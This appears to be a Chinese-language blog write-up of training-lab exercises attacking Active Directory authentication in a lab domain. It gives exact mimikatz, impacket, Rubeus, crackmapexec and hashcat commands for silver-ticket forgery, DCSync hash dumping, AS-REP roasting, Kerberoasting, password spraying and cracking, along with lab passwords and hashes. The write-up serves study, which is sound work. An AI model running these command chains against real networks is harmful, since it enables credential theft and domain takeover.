Active Directory 身分驗證攻擊 (2)
Active Directory 身分驗證攻擊 (2)
Silver Tickets
使用 jeff / HenchmanPutridBonbon11 登入 Client75 後使用 iwr 搭配 -UseDefaultCredentials
存取 web04,指令 iwr -UseDefaultCredentials http://web04
出現 401 - Unauthorized: Access is denied due to invalid credentials.
創建銀票要三個資訊
1. SPN 密碼 Hash
2. 網域 SID
3. 目標服務的 SPN
使用管理員權限啟動 mimikatz.exe 啟動 debug mode "privilege::debug"
接著輸入 sekurlsa::logonpasswords 來提取快取的 AD 憑證
第一個是服務 iis_service SPN 密碼 Hash 如下圖 4d28cf5252d39971419580a51484ca09
第二個是網域 SID,直接使用 whoami /user 去掉尾碼的 1105 就是我們要的網域 SID
S-1-5-21-1987370270-658905905-1781884369
第三個是 SPN,使用之前手動枚舉學過的 setspn -L iis_service 查找
SPN : HTTP/web04.corp.com
三個資訊都有了
1. SPN 密碼 Hash : 4d28cf5252d39971419580a51484ca09
2. 網域 SID : S-1-5-21-1987370270-658905905-1781884369
3. 目標服務的 SPN : HTTP/web04.corp.com
接著透過 mimikatz 創建使用者 jeffadmin 的銀票
指令 kerberos::golden /sid:S-1-5-21-1987370270-658905905-1781884369 /domain:corp.com /ptt /target:web04.corp.com /service:http /rc4:4d28cf5252d39971419580a51484ca09 /user:jeffadmin
在 powershell 輸入 klist 查看現有記憶體中的票證,確認是 jeffadmin 對 web04
重新跑一次一開始使用的指令 iwr -UseDefaultCredentials http://web04
可以看到這一次是 HTTP 200 成功讀取了
值得注意的是,我們在沒有存取該用戶的明文密碼或密碼雜湊的情況下執行了此攻擊
練習 : 造訪位於http://web04的網頁。查看頁面的源代碼並找到該 flag
透過依樣的手法,將網頁下載回來存成一個 txt 檔案,再 type 查找 flag 即可
curl -UseDefaultCredentials -O web04.txt http://web04
type web04.txt
DCSync
以系統管理員開啟 powershell 執行 mimikatz 查詢 dave 的 NTLM hash
指令 lsadump::dcsync /user:corp\dave or lsadump::dcsync /user:dave@corp.com
HASH 值 : 08d7a47a6f9f66b97b1bae4178747494
還記得之前 AD NTLM HASH 的 model 格式為 10000
查詢方式為 └─$ hashcat --help | grep -i "NTLM"
將剛剛的 HASH 存成 dave.hash 然後執行 hashcat 破解吧,指令 └─$ hashcat -m 1000 dave.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
執行 lsadump::dcsync /user:corp\Administrator 改查查看 default 管理者的 NTLM HASH
值 : 2892d26cdf84d7a70e2eb3b9f05c425e
一樣 hashcat 破破看得到密碼是 lab
破過了就到 cache,一樣可以用 --show 來顯示
上述的 dcsync 是透過 windows 上的 mimikatz 來獲得,但我們也可以直接從 kali 的機器上對 DC 直接做 dcsync 的動作,只是要帶上有全縣的帳號才能做,一樣查詢 dave 這個帳號
指令 : └─$ impacket-secretsdump -just-dc-user dave corp.com/jeffadmin:"BrouhahaTungPerorateBroom2023\!"@192.168.230.70
練習 1 : 取得krbtgt帳號的 NTLM 雜湊值
執行指令 └─$ impacket-secretsdump -just-dc-user krbtgt corp.com/jeffadmin:"BrouhahaTungPerorateBroom2023\!"@192.168.230.70
練習 2 : 取得使用者帳戶 maria 的存取權限並登入網域控制器。要執行初始枚舉步驟,您可以使用 pete 和密碼 Nexus123!。您將在 DC1 上的網域管理員的桌面上找到該標誌。如果您獲得要破解的雜湊值,請建立並使用一個不添加任何內容、「1」或「!」的規則檔案。rockyou.txt的密碼
用已知的 AD 帳號密碼 烘培一下看看有沒有帳號是 "不需要啟用 Kerberos 預先驗證"
└─$ impacket-GetNPUsers -dc-ip 192.168.230.70 -request -outputfile hashes.asreproast corp.com/pete
建立一個 rule 稱為 2.rule,內容用 $1,3.rule 內容用 $!,執行 hashcat 破解看看
└─$ sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r ./2.rule --force
破解出來一個,帳號密碼 mike / Darkness1099!
執行 crackmapexec 密碼噴灑看看該帳號密碼對哪一台有管理者權限
└─$ crackmapexec smb 192.168.230.75 -u mike -p 'Darkness1099!' -d corp.com
RDP 登入 Client75 先看一下 Domain admins 群組
Get-DomainGroupMember -Identity "domain admins"
發現有三個帳號 Administrator / jeffadmin / maria
在 Client75 開啟 mimikatz 執行 privilege::debug & sekurlsa::logonpasswords
結果發現 maria 的快取 HASH : 2a944a58d4ffa77137b2c587e6ed7626
hashcat 破破看 └─$ hashcat -m 1000 2a944a58d4ffa77137b2c587e6ed7626 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
RDP 進 DC,└─$ xfreerdp /u:maria /p:'passwordt_1415' /d:corp.com /v:192.168.230.70
練習 3 : 透過檢查洩漏的密碼資料庫站點,您發現密碼 VimForPowerShell123! 以前被網域使用者使用過。將此密碼噴灑到網域使用者 meg 和 backupuser。一旦您確定了一組有效的憑證,請使用本模組中的技術來取得對網域控制器的存取權限。您將在 DC1 上的網域管理員的桌面上找到該標誌
直接使用 crackmapexec 測試帳號密碼看哪一台有管理員權限
crackmapexec smb 192.168.210.75 -u meg -p 'VimForPowerShell123!' -d corp.com
帳號 meg 測試了一輪沒有管理者權限
改測試帳號 backupuser,驗證失敗,所以看來該密碼不適用 backupuser
crackmapexec smb 192.168.210.75 -u backupuser -p 'VimForPowerShell123!' -d corp.com
改烘培一下看看有沒有帳號是 "不需要啟用 Kerberos 預先驗證"
└─$ impacket-GetNPUsers -dc-ip 192.168.210.70 -request -outputfile hashes.asreproast corp.com/meg
找到 dave
hashcat 下去開始破解,└─$ sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
改用 dave 帳號密碼看看有沒有對哪一台有管理者權限
crackmapexec smb 192.168.210.75 -u dave -p 'Flowers1' -d corp.com
RDP 進 Client74 執行 Get-DomainGroupMember "Domain admins" 發現網域管理者成員有三個
Administrator、jeffadmin、backupuser
執行 .\Rubeus.exe kerberoast /outfile:hashes.kerberoast
rubeus.exe 可以從這裡下載 https://github.com/r3motecontrol/Ghostpack-CompiledBinaries
得到 backupuser 的 HASH 檔,這是 TSG-REQ 格式,mode 13100
hashcat 破破看吧,└─$ sudo hashcat -m 13100 backupuser.hash /usr/share/wordlists/rockyou.txt -r ./2.rule --force
RDP 進 DC 拿取 flag,└─$ xfreerdp /u:backupuser /p:'DonovanJadeKnight1' /d:corp.com /v:192.168.210.70
留言
張貼留言